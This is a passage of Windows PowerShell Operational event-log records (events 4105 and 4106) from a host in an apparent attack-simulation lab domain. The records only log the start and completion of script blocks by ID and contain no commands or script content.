Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051731
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051730
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051729
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051727
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051726
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051725
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051723
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051722
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051721
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051719
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051718
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051717
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051715
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051714
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051713
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051711
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051710
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051709
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051707
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051706
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051705
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051704
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051703
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051701
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051699
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051697
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051695
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051694
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051693
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051691
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051689
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051688
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051687
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051686
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051685
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051683
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051682
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051681
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051680
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051679
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
